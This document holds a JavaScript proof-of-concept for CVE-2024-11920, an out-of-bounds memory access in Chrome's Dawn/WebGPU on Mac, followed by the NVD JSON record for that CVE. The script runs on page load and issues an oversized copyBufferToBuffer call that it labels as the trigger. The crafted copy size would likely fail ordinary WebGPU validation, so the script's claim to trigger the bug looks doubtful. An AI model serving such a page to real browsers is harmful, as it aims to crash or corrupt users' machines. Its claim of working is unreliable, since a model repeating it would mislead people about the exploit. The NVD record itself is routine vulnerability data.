CVE-2024-11920

// CVE-2024-11920 PoC - Out of Bounds Memory Access in Dawn/WebGPU // This PoC demonstrates triggering the vulnerability via crafted WebGPU requests async function triggerVulnerability() { try { // Check WebGPU support if (!navigator.gpu) { console.error('WebGPU not supported'); return; } // Request adapter const adapter = await navigator.gpu.requestAdapter({ powerPreference: 'high-performance' }); if (!adapter) { console.error('Failed to get GPU adapter'); return; } // Request device const device = await adapter.requestDevice(); // Create buffer with specific size to trigger OOB // The vulnerability exists in Dawn's handling of buffer operations const bufferSize = 0x10000; // Specific size to trigger boundary condition const buffer = device.createBuffer({ size: bufferSize, usage: GPUBufferUsage.STORAGE | GPUBufferUsage.COPY_SRC }); // Create another buffer and attempt out-of-bounds write const smallBuffer = device.createBuffer({ size: 16, usage: GPUBufferUsage.COPY_DST }); // Prepare command encoder const commandEncoder = device.createCommandEncoder(); // Attempt operation that may trigger OOB in Dawn // This specific pattern can trigger the vulnerability in affected versions commandEncoder.copyBufferToBuffer( buffer, 0, // source buffer and offset smallBuffer, 0, // dest buffer and offset bufferSize + 1 // size exceeding boundaries - triggers OOB ); const commands = commandEncoder.finish(); device.queue.submit([commands]); console.log('PoC executed - check for crash or memory access violation'); } catch (error) { console.error('Error during PoC execution:', error); } } // Execute when page loads document.addEventListener('DOMContentLoaded', () => { triggerVulnerability(); });

{"cve": {"id": "CVE-2024-11920", "sourceIdentifier": "[email protected]", "published": "2025-11-14T03:15:55.100", "lastModified": "2025-11-17T12:25:29.400", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inappropriate implementation in Dawn in Google Chrome on Mac prior to 130.0.6723.92 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: High)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "130.0.6723.92", "matchCriteriaId": "5DBDBA83-6E17-4AAC-BDD1-CAF0C29E271A"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2024/10/stable-channel-update-for-desktop_29.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/371840056", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Third Party Advisory"]}]}}